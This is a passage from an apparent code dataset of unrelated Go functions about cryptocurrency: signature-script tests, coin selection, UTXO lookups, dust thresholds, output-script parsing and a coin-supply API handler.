nexttest\n\t\t\t}\n\n\t\t\ttx.TxIn[j].SignatureScript = script\n\t\t}\n\n\t\t// If testing using a correct sigscript but for an incorrect\n\t\t// index, use last input script for first input. Requires > 0\n\t\t// inputs for test.\n\t\tif SigScriptTests[i].scriptAtWrongIndex {\n\t\t\ttx.TxIn[0].SignatureScript = script\n\t\t\tSigScriptTests[i].inputs[0].inputValidates = false\n\t\t}\n\n\t\t// Validate tx input scripts\n\t\tscriptFlags := txscript.ScriptBip16 | txscript.ScriptVerifyDERSignatures\n\t\tfor j, txin := range tx.TxIn {\n\t\t\tengine, err := txscript.NewScript(txin.SignatureScript,\n\t\t\t\tSigScriptTests[i].inputs[j].txout.PkScript,\n\t\t\t\tj, tx, scriptFlags)\n\t\t\tif err != nil {\n\t\t\t\tt.Errorf(\"cannot create script vm for test %v: %v\",\n\t\t\t\t\tSigScriptTests[i].name, err)\n\t\t\t\tcontinue nexttest\n\t\t\t}\n\t\t\terr = engine.Execute()\n\t\t\tif (err == nil) != SigScriptTests[i].inputs[j].inputValidates {\n\t\t\t\tif err == nil {\n\t\t\t\t\tt.Errorf(\"passed test '%v' validation incorrectly: %v\",\n\t\t\t\t\t\tSigScriptTests[i].name, err)\n\t\t\t\t} else {\n\t\t\t\t\tt.Errorf(\"failed test '%v' validation: %v\",\n\t\t\t\t\t\tSigScriptTests[i].name, err)\n\t\t\t\t}\n\t\t\t\tcontinue nexttest\n\t\t\t}\n\t\t}\n\t}\n}", "func (dcr *ExchangeWallet) ReturnCoins(unspents asset.Coins) error {\n\tdcr.fundingMtx.Lock()\n\treturnedCoins, err := dcr.returnCoins(unspents)\n\tdcr.fundingMtx.Unlock()\n\tif err != nil || dcr.unmixedAccount == \"\" {\n\t\treturn err\n\t}\n\n\t// If any of these coins belong to the trading account, transfer them to the\n\t// unmixed account to be re-mixed into the primary account before being\n\t// re-selected for funding future orders. This doesn't apply to unspent\n\t// split tx outputs, which should remain in the trading account and be\n\t// selected from there for funding future orders.\n\tvar coinsToTransfer []asset.Coin\n\tfor _, coin := range returnedCoins {\n\t\tif coin.addr == \"\" {\n\t\t\ttxOut, err := dcr.wallet.UnspentOutput(dcr.ctx, coin.op.txHash(), coin.op.vout(), coin.op.tree)\n\t\t\tif err != nil {\n\t\t\t\tdcr.log.Errorf(\"wallet.UnspentOutput error for returned coin %s: %v\", coin.op, err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif len(txOut.Addresses) == 0 {\n\t\t\t\tdcr.log.Errorf(\"no address in gettxout response for returned coin %s\", coin.op)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tcoin.addr = txOut.Addresses[0]\n\t\t}\n\t\taddrInfo, err := dcr.wallet.AddressInfo(dcr.ctx, coin.addr)\n\t\tif err != nil {\n\t\t\tdcr.log.Errorf(\"wallet.AddressInfo error for returned coin %s: %v\", coin.op, err)\n\t\t\tcontinue\n\t\t}\n\t\t// Move this coin to the unmixed account if it was sent to the internal\n\t\t// branch of the trading account. This excludes unspent split tx outputs\n\t\t// which are sent to the external branch of the trading account.\n\t\tif addrInfo.Branch == acctInternalBranch && addrInfo.Account == dcr.tradingAccount {\n\t\t\tcoinsToTransfer = append(coinsToTransfer, coin.op)\n\t\t}\n\t}\n\n\tif len(coinsToTransfer) > 0 {\n\t\ttx, totalSent, err := dcr.sendAll(coinsToTransfer, dcr.unmixedAccount)\n\t\tif err != nil {\n\t\t\tdcr.log.Errorf(\"unable to transfer unlocked swapped change from temp trading \"+\n\t\t\t\t\"account to unmixed account: %v\", err)\n\t\t} else {\n\t\t\tdcr.log.Infof(\"Transferred %s from temp trading account to unmixed account in tx %s.\",\n\t\t\t\tdcrutil.Amount(totalSent), tx.TxHash())\n\t\t}\n\t}\n\n\treturn nil\n}", "func CalcUtxoSpendAmount(addr string, txHash string) (float64, error) {\n\n\toutStr, err := RunChain33Cli(strings.Fields(fmt.Sprintf(\"privacy showpas -a %s\", addr)))\n\n\tif strings.Contains(outStr, \"Err\") {\n\t\treturn 0, errors.New(outStr)\n\t}\n\n\tidx := strings.Index(outStr, \"\\n\") + 1\n\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tvar jsonArr []interface{}\n\terr = json.Unmarshal([]byte(outStr[idx:]), &jsonArr)\n\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tvar totalAmount float64\n\n\tfor i := range jsonArr {\n\n\t\tif jsonArr[i].(map[string]interface{})[\"Txhash\"].(string) == txHash[2:] {\n\n\t\t\tspendArr := jsonArr[i].(map[string]interface{})[\"Spend\"].([]interface{})\n\t\t\tfor i := range spendArr {\n\n\t\t\t\ttemp, _ := strconv.ParseFloat(spendArr[i].(map[string]interface{})[\"Amount\"].(string), 64)\n\t\t\t\ttotalAmount += temp\n\t\t\t}\n\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn totalAmount, nil\n}", "func (keeper Keeper) InputOutputCoins(ctx sdk.Context, inputs []Input, outputs []Output) sdk.Error {\n\treturn inputOutputCoins(ctx, keeper.am, inputs, outputs)\n}", "func Createcoins(confmap map[string]string) {\n ledger := []structures.Transaction{}\n m1 := []structures.Coin{}\n\n // Fail if ledger does not exist. genesis.go creates it.\n _, err := os.Stat(confmap[\"ledge\"])\n if err == nil {\n fmt.Println(\"\\nLoad Blockchain:\")\n ledger = methods.LoadLedger(confmap[\"ledge\"], ledger)\n fmt.Println(\"Txs in Ledger after Load: \", len(ledger))\n } else {\n fmt.Println(\"Createcoins: No ledger. genesis.go creates it.\")\n os.Exit(1)\n } // endif err.\n\n // Create coins if in args.\n coincount, _ := strconv.Atoi(confmap[\"coin\"])\n fmt.Printf(\"\\nCreate %d Coins of denomination %s.\\n\", coincount, confmap[\"denom\"])\n if coincount > 0 {\n nexxtx := newtxes.CreateCoins(confmap)\n ledger = append(ledger, nexxtx)\n structures.PrintTransaction(nexxtx, \"Coins:\")\n fmt.Println(\"Txs in Ledger after Create: \", len(ledger))\n } // end CreateCoins.\n\n m1 = methods.M1(ledger)\n fmt.Printf(\"\\nCoinBase has %d coins.\\n\", len(m1))\n\n // Publish the Blockchain:\n methods.StoreLedger(confmap[\"ledge\"], ledger, \"Blockchain\")\n methods.StoreUtxos(confmap[\"utxos\"], m1, \"UTXOS\")\n fmt.Printf(\"%d transactions stored.\\n\", len(ledger))\n\n}", "func (tb *transactionBuilder) AddCoinOutput(output types.CoinOutput) uint64 {\n\ttb.transaction.CoinOutputs = append(tb.transaction.CoinOutputs, output)\n\treturn uint64(len(tb.transaction.CoinOutputs) - 1)\n}", "func (cs *Coins) CoinSelect(amount uint64, asset string) (unspents []explorer.Utxo, change uint64, err error) {\n\tchange = 0\n\tunspents = []explorer.Utxo{}\n\tavailableSats := uint64(0)\n\n\tfor index, unspent := range cs.Utxos {\n\t\tu := unspent\n\t\tassetHash := u.Asset()\n\t\tamountSatoshis := u.Value()\n\t\tif len(u.AssetCommitment()) > 0 && len(u.ValueCommitment()) > 0 {\n\t\t\tbk := cs.BlindingKey\n\t\t\tif len(cs.BlindingKeys) > 0 {\n\t\t\t\tbk = cs.BlindingKeys[index]\n\t\t\t}\n\t\t\tav, err := unblindUxto(u, bk)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, 0, err\n\t\t\t}\n\t\t\tassetHash = av.asset\n\t\t\tamountSatoshis = av.value\n\t\t}\n\t\tif asset == assetHash {\n\t\t\tunspents = append(unspents, unspent)\n\t\t\tavailableSats += amountSatoshis\n\n\t\t\tif availableSats >= amount {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tif availableSats < amount {\n\t\treturn nil, 0, errors.New(\"You do not have enough coins\")\n\t}\n\n\tchange = availableSats - amount\n\n\treturn unspents, change, nil\n}", "func DbGetUtxosForPubKey(publicKey []byte, handle *badger.DB) ([]*UtxoEntry, error) {\n\t// Verify the length of the public key.\n\tif len(publicKey) != btcec.PubKeyBytesLenCompressed {\n\t\treturn nil, fmt.Errorf(\"DbGetUtxosForPubKey: Public key has improper \"+\n\t\t\t\"length %d != %d\", len(publicKey), btcec.PubKeyBytesLenCompressed)\n\t}\n\t// Look up the utxo keys for this public key.\n\tutxoEntriesFound := []*UtxoEntry{}\n\terr := handle.View(func(txn *badger.Txn) error {\n\t\t// Start by looping through to find all the UtxoKeys.\n\t\tutxoKeysFound := []*UtxoKey{}\n\t\topts := badger.DefaultIteratorOptions\n\t\tnodeIterator := txn.NewIterator(opts)\n\t\tdefer nodeIterator.Close()\n\t\tprefix := append(append([]byte{}, _PrefixPubKeyUtxoKey...), publicKey...)\n\t\tfor nodeIterator.Seek(prefix); nodeIterator.ValidForPrefix(prefix); nodeIterator.Next() {\n\t\t\t// Strip the prefix off the key. What's left should be the UtxoKey.\n\t\t\tpkUtxoKey := nodeIterator.Item().Key()\n\t\t\tutxoKeyBytes := pkUtxoKey[len(prefix):]\n\t\t\t// The size of the utxo key bytes should be equal to the size of a\n\t\t\t// standard hash (the txid) plus the size of a uint32.\n\t\t\tif len(utxoKeyBytes) != HashSizeBytes+4 {\n\t\t\t\treturn fmt.Errorf(\"Problem reading <pk, utxoKey> mapping; key size %d \"+\n\t\t\t\t\t\"is not equal to (prefix_byte=%d + len(publicKey)=%d + len(utxoKey)=%d)=%d. \"+\n\t\t\t\t\t\"Key found: %#v\", len(pkUtxoKey), len(_PrefixPubKeyUtxoKey), len(publicKey), HashSizeBytes+4, len(prefix)+HashSizeBytes+4, pkUtxoKey)\n\t\t\t}\n\t\t\t// Try and convert the utxo key bytes into a utxo key.\n\t\t\tutxoKey := _UtxoKeyFromDbKey(utxoKeyBytes)\n\t\t\tif utxoKey == nil {\n\t\t\t\treturn fmt.Errorf(\"Problem reading <pk, utxoKey> mapping; parsing UtxoKey bytes %#v returned nil\", utxoKeyBytes)\n\t\t\t}\n\n\t\t\t// Now that we have the utxoKey, enqueue it.\n\t\t\tutxoKeysFound = append(utxoKeysFound, utxoKey)\n\t\t}\n\n\t\t// Once all the UtxoKeys are found, fetch all the UtxoEntries.\n\t\tfor ii := range utxoKeysFound {\n\t\t\tfoundUtxoKey := utxoKeysFound[ii]\n\t\t\tutxoEntry := DbGetUtxoEntryForUtxoKeyWithTxn(txn, foundUtxoKey)\n\t\t\tif utxoEntry == nil {\n\t\t\t\treturn fmt.Errorf(\"UtxoEntry for UtxoKey %v was not found\", foundUtxoKey)\n\t\t\t}\n\n\t\t\t// Set a back-reference to the utxo key.\n\t\t\tutxoEntry.UtxoKey = foundUtxoKey\n\n\t\t\tutxoEntriesFound = append(utxoEntriesFound, utxoEntry)\n\t\t}\n\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"DbGetUtxosForPubKey: \")\n\t}\n\n\t// If there are no errors, return everything we found.\n\treturn utxoEntriesFound, nil\n}", "func (MsgBurnCoinData) Type() types.Name { return types.MustName(\"burn\") }", "func ParseUtxoAmount(utxo *rpcpb.Utxo) (uint64, *types.TokenID, error) {\n\tscp := utxo.TxOut.GetScriptPubKey()\n\ts := script.NewScriptFromBytes(scp)\n\tif s.IsPayToPubKeyHash() ||\n\t\ts.IsPayToPubKeyHashCLTVScript() ||\n\t\ts.IsContractPubkey() ||\n\t\ts.IsPayToScriptHash() ||\n\t\ts.IsOpReturnScript() {\n\t\treturn utxo.TxOut.GetValue(), nil, nil\n\t} else if s.IsTokenIssue() {\n\t\ttid := (*types.TokenID)(ConvPbOutPoint(utxo.OutPoint))\n\t\tamount, err := ParseTokenAmount(scp)\n\t\treturn amount, tid, err\n\t} else if s.IsTokenTransfer() {\n\t\tparam, err := s.GetTransferParams()\n\t\tif err != nil {\n\t\t\treturn 0, nil, err\n\t\t}\n\t\ttid := (*types.TokenID)(&param.TokenID.OutPoint)\n\t\treturn param.Amount, tid, nil\n\t} else if s.IsSplitAddrScript() {\n\t\treturn 0, nil, nil\n\t}\n\treturn 0, nil, errors.New(\"utxo not recognized\")\n}", "func returnDepositCoinGet(L *lua.LState) int {\n\tp := checkReturnDepositCoin(L, 1)\n\tfmt.Println(p)\n\n\treturn 0\n}", "func (c *Chance) Coin() string {\n\tif c.Bool() {\n\t\treturn \"head\"\n\t} else {\n\t\treturn \"tail\"\n\t}\n}", "func GetDustThreshold(txOut *wire.TxOut) int64 {\n\t// The total serialized size consists of the output and the associated\n\t// input script to redeem it. Since there is no input script\n\t// to redeem it yet, use the minimum size of a typical input script.\n\t//\n\t// Pay-to-pubkey-hash bytes breakdown:\n\t//\n\t// Output to hash (34 bytes):\n\t// 8 value, 1 script len, 25 script [1 OP_DUP, 1 OP_HASH_160,\n\t// 1 OP_DATA_20, 20 hash, 1 OP_EQUALVERIFY, 1 OP_CHECKSIG]\n\t//\n\t// Input with compressed pubkey (148 bytes):\n\t// 36 prev outpoint, 1 script len, 107 script [1 OP_DATA_72, 72 sig,\n\t// 1 OP_DATA_33, 33 compressed pubkey], 4 sequence\n\t//\n\t// Input with uncompressed pubkey (180 bytes):\n\t// 36 prev outpoint, 1 script len, 139 script [1 OP_DATA_72, 72 sig,\n\t// 1 OP_DATA_65, 65 compressed pubkey], 4 sequence\n\t//\n\t// Pay-to-pubkey bytes breakdown:\n\t//\n\t// Output to compressed pubkey (44 bytes):\n\t// 8 value, 1 script len, 35 script [1 OP_DATA_33,\n\t// 33 compressed pubkey, 1 OP_CHECKSIG]\n\t//\n\t// Output to uncompressed pubkey (76 bytes):\n\t// 8 value, 1 script len, 67 script [1 OP_DATA_65, 65 pubkey,\n\t// 1 OP_CHECKSIG]\n\t//\n\t// Input (114 bytes):\n\t// 36 prev outpoint, 1 script len, 73 script [1 OP_DATA_72,\n\t// 72 sig], 4 sequence\n\t//\n\t// Pay-to-witness-pubkey-hash bytes breakdown:\n\t//\n\t// Output to witness key hash (31 bytes);\n\t// 8 value, 1 script len, 22 script [1 OP_0, 1 OP_DATA_20,\n\t// 20 bytes hash160]\n\t//\n\t// Input (67 bytes as the 107 witness stack is discounted):\n\t// 36 prev outpoint, 1 script len, 0 script (not sigScript), 107\n\t// witness stack bytes [1 element length, 33 compressed pubkey,\n\t// element length 72 sig], 4 sequence\n\t//\n\t//\n\t// Theoretically this could examine the script type of the output script\n\t// and use a different size for the typical input script size for\n\t// pay-to-pubkey vs pay-to-pubkey-hash inputs per the above breakdowns,\n\t// but the only combination which is less than the value chosen is\n\t// a pay-to-pubkey script with a compressed pubkey, which is not very\n\t// common.\n\t//\n\t// The most common scripts are pay-to-pubkey-hash, and as per the above\n\t// breakdown, the minimum size of a p2pkh input script is 148 bytes. So\n\t// that figure is used. If the output being spent is a witness program,\n\t// then we apply the witness discount to the size of the signature.\n\t//\n\t// The segwit analogue to p2pkh is a p2wkh output. This is the smallest\n\t// output possible using the new segwit features. The 107 bytes of\n\t// witness data is discounted by a factor of 4, leading to a computed\n\t// value of 67 bytes of witness data.\n\t//\n\t// Both cases share a 41 byte preamble required to reference the input\n\t// being spent and the sequence number of the input.\n\ttotalSize := txOut.SerializeSize() + 41\n\tif txscript.IsWitnessProgram(txOut.PkScript) {\n\t\ttotalSize += (107 / blockchain.WitnessScaleFactor)\n\t} else {\n\t\ttotalSize += 107\n\t}\n\n\treturn 3 * int64(totalSize)\n}", "func (dcr *ExchangeWallet) sendCoins(addr dcrutil.Address, coins asset.Coins, val, feeRate uint64, subtract bool) (*wire.MsgTx, uint64, error) {\n\tbaseTx := wire.NewMsgTx()\n\t_, err := dcr.addInputCoins(baseTx, coins)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\tpayScript, err := txscript.PayToAddrScript(addr)\n\tif err != nil {\n\t\treturn nil, 0, fmt.Errorf(\"error creating P2SH script: %w\", err)\n\t}\n\n\ttxOut := wire.NewTxOut(int64(val), payScript)\n\tbaseTx.AddTxOut(txOut)\n\n\tvar feeSource int32 // subtract from vout 0\n\tif !subtract {\n\t\tfeeSource = -1 // subtract from change\n\t}\n\n\ttx, _, _, _, err := dcr.sendWithReturn(baseTx, feeRate, feeSource)\n\treturn tx, uint64(txOut.Value), err\n}", "func (k Keeper) GetBurnCoin(ctx sdk.Context, minUint string) (sdk.Coin, error) {\n\tkey := types.KeyBurnTokenAmt(minUint)\n\tstore := ctx.KVStore(k.storeKey)\n\tbz := store.Get(key)\n\n\tif len(bz) == 0 {\n\t\treturn sdk.Coin{}, sdkerrors.Wrapf(types.ErrNotFoundTokenAmt, \"not found symbol: %s\", minUint)\n\t}\n\n\tvar coin sdk.Coin\n\tk.cdc.MustUnmarshal(bz, &coin)\n\n\treturn coin, nil\n}", "func ParseOutputScript(output *block.Output) (string, error) {\n var multiSigFormat int\n var keytype string\n\n if output.ChallengeScript != \"\" {\n lastInstruction := output.ChallengeScriptBytes[output.ChallengeScriptLength - 1]\n if output.ChallengeScriptLength == 67 && output.ChallengeScriptBytes[0] == 65 && output.ChallengeScriptBytes[66] == OPCHECKSIG {\n output.Addresses[0].PublicKeyBytes = output.ChallengeScriptBytes[1:output.ChallengeScriptLength-1]\n keytype = UncompressedPublicKey\n }\n if output.ChallengeScriptLength == 40 && output.ChallengeScriptBytes[0] == OPRETURN {\n output.Addresses[0].PublicKeyBytes = output.ChallengeScriptBytes[1:]\n output.KeyType = StealthKey\n } else if output.ChallengeScriptLength == 66 && output.ChallengeScriptBytes[65] == OPCHECKSIG {\n output.Addresses[0].PublicKeyBytes = output.ChallengeScriptBytes[:]\n keytype = UncompressedPublicKey\n } else if output.ChallengeScriptLength == 35 && output.ChallengeScriptBytes[34] == OPCHECKSIG {\n output.Addresses[0].PublicKeyBytes = output.ChallengeScriptBytes[1:]\n keytype = CompressedPublicKey\n } else if output.ChallengeScriptLength == 33 && output.ChallengeScriptBytes[0] == 0x20 {\n output.Addresses[0].PublicKeyBytes = output.ChallengeScriptBytes[1:]\n keytype = TruncatedCompressedKey\n } else if output.ChallengeScriptLength == 23 && output.ChallengeScriptBytes[0] == OPHASH160 && output.ChallengeScriptBytes[1] == 20 && output.ChallengeScriptBytes[22] == OPEQUAL {\n output.Addresses[0].PublicKeyBytes = output.ChallengeScriptBytes[2:output.ChallengeScriptLength-1]\n keytype = ScriptHashKey\n } else if output.ChallengeScriptLength >= 25 && output.ChallengeScriptBytes[0] == OPDUP && output.ChallengeScriptBytes[1] == OPHASH160 && output.ChallengeScriptBytes[2] == 20 {\n output.Addresses[0].PublicKeyBytes = output.ChallengeScriptBytes[3:23]\n keytype = RipeMD160Key\n } else if output.ChallengeScriptLength == 5 && output.ChallengeScriptBytes[0] == OPDUP && output.ChallengeScriptBytes[1] == OPHASH160 && output.ChallengeScriptBytes[2] == OP0 && output.ChallengeScriptBytes[3] == OPEQUALVERIFY && output.ChallengeScriptBytes[4] == OPCHECKSIG {\n fmt.Println(\"WARNING : Encountered unusual but expected output script. \")\n keytype = NullKey\n } else if lastInstruction == OPCHECKMULTISIG && output.ChallengeScriptLength > 25 { //effin multisig\n scanIndex := 0\n scanbegin := output.ChallengeScriptBytes[scanIndex]\n scanend := output.ChallengeScriptBytes[output.ChallengeScriptLength - 2]\n expectedPrefix := false\n expectedSuffix := false\n switch scanbegin {\n case OP0:\n expectedPrefix = true\n break\n case OP1:\n expectedPrefix = true\n break\n case OP2:\n expectedPrefix = true\n break\n case OP3:\n expectedPrefix = true\n break\n case OP4:\n expectedPrefix = true\n break\n case OP5:\n expectedPrefix = true\n break\n default:\n //unexpected\n break\n }\n\n switch scanend {\n case OP1:\n expectedSuffix = true\n break\n case OP2:\n expectedSuffix = true\n break\n case OP3:\n expectedSuffix = true\n break\n case OP4:\n expectedSuffix = true\n break\n case OP5:\n expectedSuffix = true\n break\n default:\n //unexpected\n break\n }\n\n if expectedPrefix && expectedSuffix {\n scanIndex++\n scanbegin = output.ChallengeScriptBytes[scanIndex]\n var keyIndex uint8\n for keyIndex < 5 && scanbegin < scanend {\n if scanbegin == 0x21 {\n output.KeyType = MultiSigKey\n scanIndex++\n scanbegin = output.ChallengeScriptBytes[scanIndex]\n output.Addresses[keyIndex].PublicKeyBytes = output.ChallengeScriptBytes[scanIndex:]\n scanbegin += 0x21\n bitMask := 1<<keyIndex\n multiSigFormat|=bitMask\n keyIndex++\n } else if scanbegin == 0x41 {\n output.KeyType = MultiSigKey\n scanIndex++\n scanbegin = output.ChallengeScriptBytes[scanIndex]\n output.Addresses[keyIndex].PublicKeyBytes = output.ChallengeScriptBytes[scanIndex:]\n scanbegin += 0x41\n keyIndex++\n } else {\n break\n }\n }\n }\n if output.Addresses[0].PublicKeyBytes == nil {\n fmt.Println(\"&&&&&&&&&&&&&&&&&&&&&&&&&&& error multisig &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&\")\n return \"\", ErrMultiSig\n }\n } else { //scan for pattern OP_DUP, OP_HASH160, 0x14, 20 bytes, 0x88, 0xac\n if output.ChallengeScriptLength > 25 {\n endIndex := output.ChallengeScriptLength - 25\n for i := 0; i < int(endIndex); i++ {\n scan := output.ChallengeScriptBytes[i:]\n if scan[0] == OPDUP && scan[1] == OPHASH160 && scan[2] == 20 && scan[23] == OPEQUALVERIFY && scan[24] == OPCHECKSIG {\n output.Addresses[0].PublicKeyBytes = scan[3:]\n output.KeyType = RipeMD160Key\n //fmt.Println(\"WARNING: Unusual output script in scan\")\n\n }\n }\n }\n }\n //if output.Addresses[0].PublicKey == \"\" {\n // fmt.Println(\"FAILED TO LOCATE PUBLIC KEY\")\n //}\n } else {\n output.KeyType = NullKey\n return output.KeyType ,ErrZeroOutputScript\n }\n\n if output.Addresses[0].PublicKey == \"\" {\n if output.ChallengeScriptLength == 0 {\n output.Addresses[0].PublicKey = NullKey\n } else {\n output.Addresses[0].PublicKey = NullKey\n }\n output.KeyType = RipeMD160Key\n //fmt.Println(\"WARNING : Failed to decode public key in output script \")\n }\n\n switch keytype {\n case RipeMD160Key:\n btchashing.BitcoinRipeMD160ToAddress(output.Addresses[0].PublicKeyBytes, &output.Addresses[0])\n output.KeyType = keytype\n return output.KeyType, nil\n case ScriptHashKey:\n btchashing.BitcoinRipeMD160ToAddress(output.Addresses[0].PublicKeyBytes, &output.Addresses[0])\n output.KeyType = keytype\n return output.KeyType, nil\n case StealthKey:\n btchashing.BitcoinRipeMD160ToAddress(output.Addresses[0].PublicKeyBytes, &output.Addresses[0])\n output.KeyType = keytype\n case UncompressedPublicKey:\n btchashing.BitcoinPublicKeyToAddress(output.Addresses[0].PublicKeyBytes, &output.Addresses[0])\n output.KeyType = keytype\n return output.KeyType, nil\n case CompressedPublicKey:\n btchashing.BitcoinCompressedPublicKeyToAddress(output.Addresses[0].PublicKeyBytes, &output.Addresses[0])\n output.KeyType = keytype\n return output.KeyType, nil\n case TruncatedCompressedKey:\n tempkey := make([]byte, 1)\n tempkey[0] = 0x2\n key := append(tempkey[:], output.Addresses[0].PublicKey[:] ...)\n btchashing.BitcoinCompressedPublicKeyToAddress(key, &output.Addresses[0])\n output.KeyType = keytype\n return output.KeyType, nil\n case MultiSigKey:\n var i uint32\n for i = 0; i < block.MaxMultiSig; i++ {\n key := output.Addresses[i].PublicKey\n if key == \"\" {\n break\n }\n mask := 1<<i\n if multiSigFormat & mask != 0 {\n btchashing.BitcoinCompressedPublicKeyToAddress([]byte(output.Addresses[i].PublicKey), &output.Addresses[i])\n } else {\n btchashing.BitcoinPublicKeyToAddress([]byte(output.Addresses[i].PublicKey), &output.Addresses[i])\n }\n }\n output.KeyType = keytype\n }\n return keytype, nil\n}", "func coinSupplyHandler(gateway Gatewayer) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tif r.Method != http.MethodGet {\n\t\t\twh.Error405(w)\n\t\t\treturn\n\t\t}\n\n\t\tallUnspents, err := gateway.GetUnspentOutputsSummary(nil)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"gateway.GetUnspentOutputsSummary failed: %v\", err)\n\t\t\twh.Error500(w, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tunlockedAddrs := params.GetUnlockedDistributionAddressesDecoded()\n\t\t// Search map of unlocked addresses, used to filter unspents\n\t\tunlockedAddrSet := newAddrSet(unlockedAddrs)\n\n\t\tvar unlockedSupply uint64\n\t\t// check confirmed unspents only\n\t\tfor _, u := range allUnspents.Confirmed {\n\t\t\t// check if address is an unlocked distribution address\n\t\t\tif _, ok := unlockedAddrSet[u.Body.Address]; ok {\n\t\t\t\tvar err error\n\t\t\t\tunlockedSupply, err = mathutil.AddUint64(unlockedSupply, u.Body.Coins)\n\t\t\t\tif err != nil {\n\t\t\t\t\terr = fmt.Errorf(\"uint64 overflow while adding up unlocked supply coins: %v\", err)\n\t\t\t\t\twh.Error500(w, err.Error())\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// \"total supply\" is the number of coins unlocked.\n\t\t// Each distribution address was allocated params.DistributionAddressInitialBalance coins.\n\t\ttotalSupply := uint64(len(unlockedAddrs)) * params.DistributionAddressInitialBalance\n\t\ttotalSupply *= droplet.Multiplier\n\n\t\t// \"current supply\" is the number of coins distributed from the unlocked pool\n\t\tcurrentSupply := totalSupply - unlockedSupply\n\n\t\tcurrentSupplyStr, err := droplet.ToString(currentSupply)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"Failed to convert coins to string: %v\", err)\n\t\t\twh.Error500(w, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\ttotalSupplyStr, err := droplet.ToString(totalSupply)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"Failed to convert coins to string: %v\", err)\n\t\t\twh.Error500(w, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tmaxSupplyStr, err := droplet.ToString(params.MaxCoinSupply * droplet.Multiplier)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"Failed to convert coins to string: %v\", err)\n\t\t\twh.Error500(w, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\t// locked distribution addresses\n\t\tlockedAddrs := params.GetLockedDistributionAddressesDecoded()\n\t\tlockedAddrSet := newAddrSet(lockedAddrs)\n\n\t\t// get total coins hours which excludes locked distribution addresses\n\t\tvar totalCoinHours uint64\n\t\tfor _, out := range allUnspents.Confirmed {\n\t\t\tif _, ok := lockedAddrSet[out.Body.Address]; !ok {\n\t\t\t\tvar err error\n\t\t\t\ttotalCoinHours, err = mathutil.AddUint64(totalCoinHours, out.CalculatedHours)\n\t\t\t\tif err != nil {\n\t\t\t\t\terr = fmt.Errorf(\"uint64 overflow while adding up total coin hours: %v\", err)\n\t\t\t\t\twh.Error500(w, err.Error())\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// get current coin hours which excludes all distribution addresses\n\t\tvar currentCoinHours uint64\n\t\tfor _, out := range allUnspents.Confirmed {\n\t\t\t// check if address not in locked distribution addresses\n\t\t\tif _, ok := lockedAddrSet[out.Body.Address]; !ok {\n\t\t\t\t// check if address not in unlocked distribution addresses\n\t\t\t\tif _, ok := unlockedAddrSet[out.Body.Address]; !ok {\n\t\t\t\t\tcurrentCoinHours += out.CalculatedHours\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"Failed to get total coinhours: %v\", err)\n\t\t\twh.Error500(w, err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tcs := CoinSupply{\n\t\t\tCurrentSupply: currentSupplyStr,\n\t\t\tTotalSupply: totalSupplyStr,\n\t\t\tMaxSupply: maxSupplyStr,\n\t\t\tCurrentCoinHourSupply: strconv.FormatUint(currentCoinHours, 10),\n\t\t\tTotalCoinHourSupply: strconv.FormatUint(totalCoinHours, 10),\n\t\t\tUnlockedAddresses: params.GetUnlockedDistributionAddresses(),\n\t\t\tLockedAddresses: params.GetLockedDistributionAddresses(),\n\t\t}\n\n\t\twh.SendJSONOr500(logger, w, cs)\n\t}\n}", "func standardCoinbaseOpReturn(height uint32) ([]byte, error) {\n\textraNonce, err := wire.RandomUint64()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tenData := make([]byte, 12)\n\tbinary.LittleEndian.PutUint32(enData[0:4], height)\n\tbinary.LittleEndian.PutUint64(enData[4:12], extraNonce)\n\textraNonceScript, err := stdscript.ProvablyPruneableScriptV0(enData)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn extraNonceScript, nil\n}", "func GetBalance(client *rpcclient.Client, addresses []soterutil.Address, params *chaincfg.Params) (soterutil.Amount, soterutil.Amount, error) {\n\tvar balance = soterutil.Amount(0)\n\tvar spendableBalance = soterutil.Amount(0)\n\tvar transactions []TxInfo\n\tvar txIndex = make(map[chainhash.Hash]TxInfo)\n\n\ttransactions, err := AllTransactions(client)\n\tif err != nil {\n\t\treturn balance, spendableBalance, err\n\t}\n\n\tfor _, info := range transactions {\n\t\ttxIndex[info.Tx.TxHash()] = info\n\t}\n\n\tfor _, info := range transactions {\n\t\t// Deduct matching inputs from the balance\n\t\tfor i, txIn := range info.Tx.TxIn {\n\t\t\tif txIn.PreviousOutPoint.Hash.IsEqual(&zeroHash) {\n\t\t\t\t// We don't attempt to find the previous output for the input of the genesis transactions,\n\t\t\t\t// because there won't be any.\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tprev, ok := txIndex[txIn.PreviousOutPoint.Hash]\n\t\t\tif !ok {\n\t\t\t\terr := fmt.Errorf(\"missing previous transaction %s for transaction %s input %d\",\n\t\t\t\t\ttxIn.PreviousOutPoint.Hash, info.Tx.TxHash(), i)\n\t\t\t\treturn balance, spendableBalance, err\n\t\t\t}\n\n\t\t\tprevOut := prev.Tx\n\t\t\tprevValue := prevOut.TxOut[txIn.PreviousOutPoint.Index].Value\n\n\t\t\tprevPkScript := 